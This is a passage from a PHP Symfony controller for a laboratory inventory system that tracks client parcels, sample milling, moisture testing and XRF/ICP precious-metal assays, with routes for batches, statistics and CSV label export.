  723. $order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  724. 'id' => $id
  725. ]);
  726. $this->em->remove($order);
  727. $this->em->flush();
  728. return new Response ("ayylmao");
  729. }
  730. //=====================================================================================================================================================================================<
  731. /**
  732. * @IsGranted("ROLE_USER")
  733. * @Route("/acceptclientorder/{id}", name="acceptclientorder")
  734. * @param int $id
  735. * @param Request $request
  736. * @return Response $response
  737. */
  738. public function acceptclientorder(int $id, Request $request)
  739. {
  740. /** @var ClientParcel $clientparcel */
  741. $clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  742. 'id' => $id
  743. ]);
  744. if ($clientparcel->getAccepted() == false){
  745. $clientparcel->setAccepted(true);
  746. $this->em->persist($clientparcel);
  747. /** @var Orders $neworder */
  748. $neworder = new Orders();
  749. $neworder->setSender($clientparcel->getSender());
  750. $neworder->setCourrier($clientparcel->getCourrier());
  751. $neworder->setWaybill($clientparcel->getWaybill());
  752. $neworder->setDateOfReceipt(new \DateTime());
  753. $neworder->setStatus("Open");
  754. $neworder->setOrderno("TO NAME");
  755. $this->em->persist($neworder);
  756. foreach($clientparcel->getDataarray() as $j){
  757. $newsample = new Inventory();
  758. $newsample->setAssignedOrder($neworder);
  759. $newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
  760. $newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
  761. $newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
  762. $newsample->setSampleType($j["type"]);
  763. $newsample->setSampleName($j["reference"]);
  764. $newsample->setCountry($j["country"]);
  765. $newsample->setExportno($j["export"]);
  766. $newsample->setDateofreceipt(new \DateTime());
  767. $newsample->setMass((float)str_replace(",",".",$j['mass']));
  768. $newsample->setAddedtocatalogue(false);
  769. $newsample->setPriority('Normal');
  770. $newsample->setMillStatus("Original");
  771. $newsample->setXrfStatus("To Add");
  772. $newsample->setAnalysisStatus("None");
  773. $newsample->setReady(false);
  774. $this->em->persist($newsample);
  775. }
  776. }
  777. $this->em->flush();
  778. return new Response ("ayylmao");
  779. }
  780. //=====================================================================================================================================================================================<
  781. /**
  782. * @IsGranted("ROLE_USER")
  783. * @Route("/clientaddorder", name="clientaddorder")
  784. */
  785. public function clientaddorder(Request $request)
  786. {
  787. if ( $request->isMethod("post") ) {
  788. $user = $this->getUser();
  789. $info = $request->get('info');
  790. $newparcel = new ClientParcel();
  791. $newparcel->setClient($user);
  792. $newparcel->setCourrier($info["courrier"]);
  793. $newparcel->setWaybill($info["waybill"]);
  794. $newparcel->setSender($info["sender"]);
  795. $newparcel->setComment($info["comment"]);
  796. $info = $info["info"];
  797. //$newparcel->setData($info);
  798. $newparcel->setDataarray($info);
  799. $newparcel->setDateadded(new \DateTime());
  800. $newparcel->setAccepted(false);
  801. $this->em->persist($newparcel);
  802. $this->em->flush();
  803. return new Response("/");
  804. }
  805. $usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
  806. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  807. 'country' => $usercountry
  808. ],[
  809. 'id' => 'DESC'
  810. ]);
  811. $samples2=[];
  812. if (in_array("WC",$usercountry)){
  813. $samples2 = $this->em
  814. ->createQuery(
  815. "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  816. )
  817. ->getResult();
  818. }
  819. $samples = array_merge($samples,$samples2);
  820. return $this->render('cats/addclientorder.html.twig', [
  821. 'samples' => $samples,
  822. ]);
  823. }
  824. //=====================================================================================================================================================================================<
  825. /**
  826. * @IsGranted("ROLE_USER")
  827. * @Route("/stats/{id}", name="stats")
  828. * @param int $id
  829. * @param Request $request
  830. * @return Response $response
  831. */
  832. public function stats(int $id, Request $request)
  833. {
  834. $usercountry = $this->getUser()->getCountry();
  835. $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  836. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  837. 'id' => $id
  838. ]);
  839. // $qb instanceof QueryBuilder
  840. $qb = $this->em->createQueryBuilder();
  841. $qb->select('count(t.id)');
  842. $qb->from(Inventory::class, 't');
  843. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  844. // $qb->where('t.dateFinished > 2020-09-18');
  845. $qb->setMaxResults('1');
  846. $result = $qb->getQuery()->getSingleScalarResult();
  847. $qb1 = $this->em->createQueryBuilder();
  848. $qb1->select('t');
  849. $qb1->from(FABatch::class, 't');
  850. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  851. $anotherresult = $qb1->getQuery()->getResult();
  852. $anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
  853. $loginfo= [];
  854. $loginfo2= [];
  855. $tasks= [];
  856. $batchesdaily = [];
  857. $batchesdaily2 = [];
  858. $anotherresult2 = 0;
  859. $anotherresult4 = 0;
  860. foreach ($anotherresult as $x){
  861. array_push($loginfo, $x->getDateFinished()->format('j'));
  862. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  863. $stmt = $this->em->getConnection()->prepare($sql);
  864. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  865. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  866. }
  867. $qb3 = $this->em->createQueryBuilder();
  868. $qb3->select('t');
  869. $qb3->from(ICPBatch::class, 't');
  870. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  871. $anotherresult3 = $qb3->getQuery()->getResult();
  872. $anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
  873. foreach ($anotherresult3 as $x){
  874. array_push($loginfo2, $x->getDate()->format('j'));
  875. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  876. $stmt = $this->em->getConnection()->prepare($sql);
  877. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  878. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  879. }
  880. return $this->render('cats/stats.html.twig', [
  881. 'messages' => $messages,
  882. 'bonuses' => $bonuses,
  883. 'data' => $result,
  884. 'data23' => $anotherresult,
  885. 'loginfo' => $loginfo,
  886. 'batchesdaily' => $batchesdaily,
  887. 'test2' => $anotherresult2,
  888. 'icp' => $anotherresult3,
  889. 'icp2' => $batchesdaily2,
  890. 'tasks' => $tasks
  891. ]);
  892. }
  893. //=====================================================================================================================================================================================<
  894. /**
  895. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  896. * @param Request $request
  897. * @Route("/mill", name="mill")
  898. * @return Response $response
  899. */
  900. public function mill(Request $request)
  901. {
  902. $loginfo= [];
  903. if ( $request->isMethod("post") ) {
  904. if (null !== $request->get('markmilled')){
  905. $info = $request->get('ids');
  906. if(!empty($info)){
  907. foreach($info as $j) {
  908. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  909. $entry->setMillStatus('Milled');
  910. $entry->setDateMilled(new \DateTime());
  911. $this->em->persist($entry);
  912. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  913. }
  914. $log = new Log();
  915. $log->setDate(new \DateTime());
  916. $log->setType('Mill Status');
  917. $log->setText('Sample mill status was updated to Milled');
  918. $log->setAssignedUser($this->getUser());
  919. $log->setText2(implode(", ", $loginfo));
  920. $this->em->persist($log);
  921. $this->em->flush();
  922. }
  923. }
  924. if (null !== $request->get('revert')){
  925. $info = $request->get('ids');
  926. if(!empty($info)){
  927. foreach($info as $j) {
  928. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  929. $entry->setMillStatus('Original');
  930. $entry->setDateMilled(null);
  931. $this->em->persist($entry);
  932. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  933. }
  934. $log = new Log();
  935. $log->setDate(new \DateTime());
  936. $log->setType('Mill Status');
  937. $log->setText('Sample mill status reverted to Original');
  938. $log->setAssignedUser($this->getUser());
  939. $log->setText2(implode(", ", $loginfo));
  940. $this->em->persist($log);
  941. $this->em->flush();
  942. }
  943. }
  944. }
  945. $millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
  946. return $this->render('cats/mill.html.twig', [
  947. 'inventory' => $millinv
  948. ]);
  949. }
  950. //=====================================================================================================================================================================================<
  951. /**
  952. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  953. * @param Request $request
  954. * @Route("/fassayreg/disqbatches", name="disqbatches")
  955. * @return Response $response
  956. */
  957. public function disqbatches(Request $request)
  958. {
  959. $disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
  960. ['status' => ["finished",null,]],['id'=>'DESC'],50
  961. );
  962. return $this->render('cats/disqbatches.html.twig', [
  963. 'batches' => $disqbatches
  964. ]);
  965. }
  966. //=====================================================================================================================================================================================<
  967. /**
  968. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  969. * @param Request $request
  970. * @Route("/icp/icpbatches", name="icpbatches")
  971. * @return Response $response
  972. */
  973. public function icpbatches(Request $request)
  974. {
  975. $icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
  976. ['status' => null],['id' => 'DESC'],
  977. 50
  978. );
  979. return $this->render('cats/icpbatches.html.twig', [
  980. 'batches' => $icpbatches
  981. ]);
  982. }
  983. //=====================================================================================================================================================================================<
  984. /**
  985. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  986. * @param Request $request
  987. * @Route("/fassayreg/fabatches", name="fabatches")
  988. * @return Response $response
  989. */
  990. public function fabatches(Request $request)
  991. {
  992. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
  993. ['status' => [null,'finished']],['id' => 'DESC']
  994. );
  995. return $this->render('cats/fabatches.html.twig', [
  996. 'fabatches' => $fabatches
  997. ]);
  998. }
  999. /**
  1000. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1001. * @Route("/fassayreg/au-batches", name="au-batches")
  1002. * @return Response $response
  1003. */
  1004. public function auBatches(AuBatchManager $auBatchManager): Response
  1005. {
  1006. return $this->render(
  1007. 'cats/au-batches.html.twig',
  1008. ['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
  1009. );
  1010. }
  1011. //=====================================================================================================================================================================================<
  1012. /**
  1013. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1014. * @param Request $request
  1015. * @Route("/inv", name="visitorinventory")
  1016. * @return Response $response
  1017. */
  1018. public function visitorinventory(Request $request)
  1019. {
  1020. return $this->render('cats/visitinv.html.twig');
  1021. }
  1022. //=====================================================================================================================================================================================<
  1023. /**
  1024. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1025. * @param Request $request
  1026. * @Route("/inventory", name="inventory")
  1027. * @return Response $response
  1028. */
  1029. public function inventory(Request $request, ExportCountryRelationService $relationService)
  1030. {
  1031. if ( $request->isMethod("post") ) {
  1032. $loginfo= [];
  1033. if (null !== $request->get('edit')){
  1034. $info = $request->get('ids');
  1035. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1036. 'id' => $info
  1037. ]);
  1038. return $this->render('cats/edit.html.twig', [
  1039. 'inventory' => $editinv
  1040. ]);
  1041. }
  1042. if (null !== $request->get('startanalysis')){
  1043. $info = $request->get('ids');
  1044. /** @var Inventory $dumby */
  1045. if(!empty($info)) {
  1046. foreach ($info as $j) {
  1047. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1048. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1049. $dumby->setAnalysisStatus('None');
  1050. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1051. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1052. $dumby->setAnalysisStatus('To Start');
  1053. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1054. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1055. $dumby->setAnalysisStatus('In Progress');
  1056. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1057. }
  1058. $log = new Log();
  1059. $log->setDate(new \DateTime());
  1060. $log->setType('Analysis Status');
  1061. $log->setText('Analysis status manually altered for samples');
  1062. $log->setAssignedUser($this->getUser());
  1063. $log->setText2(implode(", ", $loginfo));
  1064. $this->em->persist($log);
  1065. $this->em->persist($dumby);
  1066. }
  1067. }
  1068. $this->em->flush();
  1069. return $this->redirect($this->generateUrl('inventory'));
  1070. }
  1071. if (null !== $request->get('editconfirm')){
  1072. $info = $request->get('entry');
  1073. foreach($info as $j) {
  1074. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1075. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1076. $entry->setSampleType($j['type'])
  1077. ->setSampleSubtype($j['subtype'])
  1078. ->setSampleName($j['name'])
  1079. ->setDueDate(new DateTime($j['dueDate']));
  1080. $entry->setCountry($j['country']);
  1081. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1082. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1083. }
  1084. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1085. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1086. }
  1087. $entry->setExportno($j['export']);
  1088. $this->em->persist($entry);
  1089. }
  1090. $log = new Log();
  1091. $log->setDate(new \DateTime());
  1092. $log->setType('Sample Info');
  1093. $log->setText('Sample information was edited');
  1094. $log->setAssignedUser($this->getUser());
  1095. $log->setText2(implode(", ", $loginfo));
  1096. $this->em->persist($log);
  1097. $this->em->flush();
  1098. return $this->redirect($this->generateUrl('inventory'));
  1099. }
  1100. if (null !== $request->get('manualicp')){
  1101. $info = $request->get('ids');
  1102. $micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1103. 'id' => $info
  1104. ]);
  1105. return $this->render('cats/micp.html.twig', [
  1106. 'inventory' => $micp
  1107. ]);
  1108. }
  1109. if (null !== $request->get('manualicpconfirm')){
  1110. $info = $request->get('entry');
  1111. if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
  1112. foreach($info as $j) {
  1113. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1114. /** @var Inventory $entry */
  1115. $entry->setIcppt((int)$j['pt'])
  1116. ->setIcppd((int)$j['pd'])
  1117. ->setIcprh((int)$j['rh'])
  1118. ->setDateFinished(new \DateTime())
  1119. ->setAnalysisStatus('Completed');
  1120. $this->em->persist($entry);
  1121. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1122. }
  1123. $log = new Log();
  1124. $log->setDate(new \DateTime());
  1125. $log->setType('Assay Info');
  1126. $log->setText('Assay information was manually added');
  1127. $log->setAssignedUser($this->getUser());
  1128. $log->setText2(implode(", ", $loginfo));
  1129. $this->em->persist($log);
  1130. $this->em->flush();
  1131. }
  1132. return $this->redirect($this->generateUrl('inventory'));
  1133. }
  1134. if (null !== $request->get('addtoorder')){
  1135. $info = $request->get('entry');
  1136. return $this->redirect($this->generateUrl('inventory'));
  1137. }
  1138. if (null !== $request->get('xrf')){
  1139. $info = $request->get('ids');
  1140. $xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1141. 'id' => $info
  1142. ]);
  1143. return $this->render('cats/xrf.html.twig', [
  1144. 'inventory' => $xrfinv
  1145. ]);
  1146. }
  1147. if (null !== $request->get('xrfconfirm')){
  1148. $info = $request->get('entry');
  1149. foreach($info as $j) {
  1150. /** @var Inventory $entry */
  1151. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1152. $entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
  1153. $this->em->persist($entry);
  1154. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1155. }
  1156. $log = new Log();
  1157. $log->setDate(new \DateTime());
  1158. $log->setType('XRF Info');
  1159. $log->setText('XRF information was manually added');
  1160. $log->setAssignedUser($this->getUser());
  1161. $log->setText2(implode(", ", $loginfo));
  1162. $this->em->persist($log);
  1163. $this->em->flush();
  1164. return $this->redirect($this->generateUrl('inventory'));
  1165. }
  1166. if (null !== $request->get('mill')){
  1167. $info = $request->get('ids');
  1168. /** @var Inventory $dumby */
  1169. if(!empty($info)) {
  1170. foreach ($info as $j) {
  1171. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1172. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1173. $dumby->setMillStatus('To Mill');
  1174. $this->em->persist($dumby);
  1175. }
  1176. }
  1177. $log = new Log();
  1178. $log->setDate(new \DateTime());
  1179. $log->setType('Mill Status');
  1180. $log->setText('Sample mill status changed to To Mill');
  1181. $log->setAssignedUser($this->getUser());
  1182. $log->setText2(implode(", ", $loginfo));
  1183. $this->em->persist($log);
  1184. $this->em->flush();
  1185. return $this->redirect($this->generateUrl('inventory'));
  1186. }
  1187. //=======================================================================================
  1188. if (null !== $request->get('moist')){
  1189. $info = $request->get('ids');
  1190. /** @var Inventory $dumby */
  1191. if(!empty($info)) {
  1192. foreach ($info as $j) {
  1193. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1194. if(count($dumby->getMoists()) == NULL) {
  1195. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1196. $newmoists1 = new Moists();
  1197. $newmoists1->setMoistsref($dumby->getId() . "-M1");
  1198. $newmoists1->setAssignedSample($dumby);
  1199. $newmoists1->setStatus('To Do');
  1200. $newmoists1->setCounts(true);
  1201. $this->em->persist($newmoists1);
  1202. $newmoists2 = new Moists();
  1203. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1204. $newmoists2->setAssignedSample($dumby);
  1205. $newmoists2->setStatus('To Do');
  1206. $newmoists2->setCounts(true);
  1207. $this->em->persist($newmoists2);
  1208. $dumby->setMoistStatus("In Progress");
  1209. } elseif(count($dumby->getMoists()) == 2) {
  1210. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1211. $newmoists3 = new Moists();
  1212. $newmoists3->setMoistsref($dumby->getId() . "-M3");
  1213. $newmoists3->setAssignedSample($dumby);
  1214. $newmoists3->setStatus('To Do');
  1215. $newmoists3->setCounts(true);
  1216. $this->em->persist($newmoists3);
  1217. $dumby->setMoistStatus("In Progress");
  1218. } elseif(count($dumby->getMoists()) == 3) {
  1219. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1220. $newmoists4 = new Moists();
  1221. $newmoists4->setMoistsref($dumby->getId() . "-M4");
  1222. $newmoists4->setAssignedSample($dumby);
  1223. $newmoists4->setStatus('To Do');
  1224. $newmoists4->setCounts(true);
  1225. $this->em->persist($newmoists4);
  1226. $dumby->setMoistStatus("In Progress");
  1227. } elseif(count($dumby->getMoists()) == 4) {
  1228. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1229. $newmoists5 = new Moists();
  1230. $newmoists5->setMoistsref($dumby->getId() . "-M5");
  1231. $newmoists5->setAssignedSample($dumby);
  1232. $newmoists5->setStatus('To Do');
  1233. $newmoists5->setCounts(true);
  1234. $this->em->persist($newmoists5);
  1235. $dumby->setMoistStatus("In Progress");
  1236. } elseif(count($dumby->getMoists()) == 1) {
  1237. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1238. foreach ($dumby->getMoists() as $i){
  1239. /** @var Moists $moist */
  1240. $moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
  1241. if (substr($moist->getMoistsref(),-1) == "M"){
  1242. $moist->setMoistsref($dumby->getId() . "-M1");
  1243. $moist->setStatus("Reverted for 2nd");
  1244. }
  1245. }
  1246. $newmoists2 = new Moists();
  1247. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1248. $newmoists2->setAssignedSample($dumby);
  1249. $newmoists2->setStatus('To Do');
  1250. $newmoists2->setCounts(true);
  1251. $this->em->persist($newmoists2);
  1252. $dumby->setMoistStatus("In Progress");
  1253. }
  1254. }
  1255. $log = new Log();
  1256. $log->setDate(new \DateTime());
  1257. $log->setType('Moisture Info');
  1258. $log->setText('Sample were put up for Moisture testing');
  1259. $log->setAssignedUser($this->getUser());
  1260. $log->setText2(implode(", ", $loginfo));
  1261. $this->em->persist($log);
  1262. $this->em->flush();
  1263. }
  1264. return $this->redirect($this->generateUrl('inventory'));
  1265. }
  1266. if (null !== $request->get('moistrevert')){
  1267. $info = $request->get('ids');
  1268. /** @var Inventory $inv */
  1269. if(!empty($info)){
  1270. foreach ($info as $j){
  1271. $inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1272. if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
  1273. $inv->setMoistStatus("Reverted");
  1274. foreach ($inv->getMoists() as $i){
  1275. /** @var Moists $i*/
  1276. $i->setStatus('Reverted');
  1277. $this->em->persist($i);
  1278. }
  1279. }
  1280. $this->em->persist($inv);
  1281. }
  1282. $this->em->flush();
  1283. }
  1284. }
  1285. }
  1286. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1287. $relationViewData = $relationService->getViewData();
  1288. return $this->render('cats/catinventory.html.twig', [
  1289. 'orders' => $orders,
  1290. 'exportCountryRelations' => $relationViewData['relations'],
  1291. 'exportCountryLookup' => $relationViewData['lookup'],
  1292. ]);
  1293. }
  1294. /**
  1295. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1296. * @Route("/inventory/export-country-relations", name="inventory_export_country_relation_save", methods={"POST"})
  1297. */
  1298. public function saveInventoryExportCountryRelation(
  1299. Request $request,
  1300. ExportCountryRelationService $relationService
  1301. ): JsonResponse {
  1302. $data = json_decode($request->getContent(), true);
  1303. if (!is_array($data)) {
  1304. return $this->json([
  1305. 'status' => 'error',
  1306. 'message' => 'Invalid request payload.',
  1307. ], JsonResponse::HTTP_BAD_REQUEST);
  1308. }
  1309. try {
  1310. $relation = $relationService->saveFromPayload(MinExportCountryRelationPayload::fromArray($data));
  1311. } catch (HttpExceptionInterface $exception) {
  1312. return $this->json([
  1313. 'status' => 'error',
  1314. 'message' => $exception->getMessage(),
  1315. ], $exception->getStatusCode());
  1316. }
  1317. return $this->json([
  1318. 'status' => 'success',
  1319. 'relation' => $relationService->serializeRelation($relation),
  1320. ]);
  1321. }
  1322. /**
  1323. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1324. * @Route("/inventory/export-country-relations/{relationId}", name="inventory_export_country_relation_delete", methods={"DELETE"})
  1325. */
  1326. public function deleteInventoryExportCountryRelation(
  1327. int $relationId,
  1328. ExportCountryRelationService $relationService
  1329. ): JsonResponse {
  1330. try {
  1331. $relationService->deleteById($relationId);
  1332. } catch (HttpExceptionInterface $exception) {
  1333. return $this->json([
  1334. 'status' => 'error',
  1335. 'message' => $exception->getMessage(),
  1336. ], $exception->getStatusCode());
  1337. }
  1338. return $this->json([
  1339. 'status' => 'success',
  1340. 'message' => 'Relation deleted.',
  1341. ]);
  1342. }
  1343. /**
  1344. * @Route("/cat/labelCsv", name="cat_labelCsv")
  1345. * @param Request $request
  1346. * @return StreamedResponse
  1347. */
  1348. public function catLabelCsv(Request $request): StreamedResponse
  1349. {
  1350. $samples = $request->get('samples');
  1351. $labels = [];
  1352. foreach ($samples as $sampleId) {
  1353. /** @var Inventory $sample */
  1354. $sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
  1355. if ($sample) {
  1356. $labels[] = [
  1357. $sample->getId(),
  1358. $sample->getSampleName() ?? ''
  1359. ];
  1360. }
  1361. }
  1362. $response = new StreamedResponse(function() use ($labels) {
  1363. $handle = fopen('php://output', 'w+');
  1364. // Add the header of the CSV file
  1365. fputcsv($handle, ['ID', 'Sample Reference']);
  1366. foreach ($labels as $label) {
  1367. fputcsv($handle, $label);
  1368. }
  1369. fclose($handle);
  1370. });
  1371. $response->headers->set('Content-Type', 'text/csv');
  1372. $response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
  1373. return $response;
  1374. }
  1375. //=====================================================================================================================================================================================<
  1376. /**
  1377. * @Security("is_granted('ROLE_ADMINISTRATORIUS')")
  1378. * @param Request $request
  1379. * @Route("/adminventory", name="adminventory")
  1380. * @return Response $response
  1381. */
  1382. public function adminventory(Request $request)
  1383. {
  1384. if ( $request->isMethod("post") ) {
  1385. $loginfo= [];
  1386. if (null !== $request->get('edit')){
  1387. $info = $request->get('ids');
  1388. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1389. 'id' => $info
  1390. ]);
  1391. return $this->render('cats/edit.html.twig', [
  1392. 'inventory' => $editinv
  1393. ]);
  1394. }
  1395. if (null !== $request->get('startanalysis')){
  1396. $info = $request->get('ids');
  1397. /** @var Inventory $dumby */
  1398. if(!empty($info)) {
  1399. foreach ($info as $j) {
  1400. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1401. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1402. $dumby->setAnalysisStatus('None');
  1403. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1404. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1405. $dumby->setAnalysisStatus('To Start');
  1406. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1407. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1408. $dumby->setAnalysisStatus('In Progress');
  1409. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1410. }
  1411. $log = new Log();
  1412. $log->setDate(new \DateTime());
  1413. $log->setType('Analysis Status');
  1414. $log->setText('Analysis status manually altered for samples');
  1415. $log->setAssignedUser($this->getUser());
  1416. $log->setText2(implode(", ", $loginfo));
  1417. $this->em->persist($log);
  1418. $this->em->persist($dumby);
  1419. }
  1420. }
  1421. $this->em->flush();
  1422. return $this->redirect($this->generateUrl('inventory'));
  1423. }
  1424. if (null !== $request->get('editconfirm')){
  1425. $info = $request->get('entry');
  1426. foreach($info as $j) {
  1427. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1428. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1429. $entry->setSampleType($j['type'])
  1430. ->setSampleSubtype($j['subtype'])
  1431. ->setSampleName($j['name']);
  1432. $entry->setCountry($j['country']);
  1433. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1434. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1435. }
  1436. $entry->setExportno($j['export']);
  1437. $this->em->persist($entry);
  1438. }
  1439. $log = new Log();
  1440. $log->setDate(new \DateTime());
  1441. $log->setType('Sample Info');
  1442. $log->setText('Sample information was edited');
  1443. $log->setAssignedUser($this->getUser());
  1444. $log->setText2(implode(", ", $loginfo));
  1445. $this->em->persist($log);
  1446. $this->em->flush();
  1447. return $this->redirect($this->generateUrl('inventory'));
  1448. }
  1449. if (null !== $request->get('addtoorder')){
  1450. $info = $request->get('entry');
  1451. return $this->redirect($this->generateUrl('inventory'));
  1452. }
  1453. }
  1454. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1455. return $this->render('cats/catadminventory.html.twig', [
  1456. 'orders' => $orders
  1457. ]);
  1458. }
  1459. //=====================================================================================================================================================================================<
  1460. /**
  1461. * @Route("/getinv", name="getinv")
  1462. */
  1463. public function ajaxgetinv()
  1464. {
  1465. $response = new Response();
  1466. $list=[];
  1467. $inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
  1468. 'id' => "DESC"
  1469. ]);
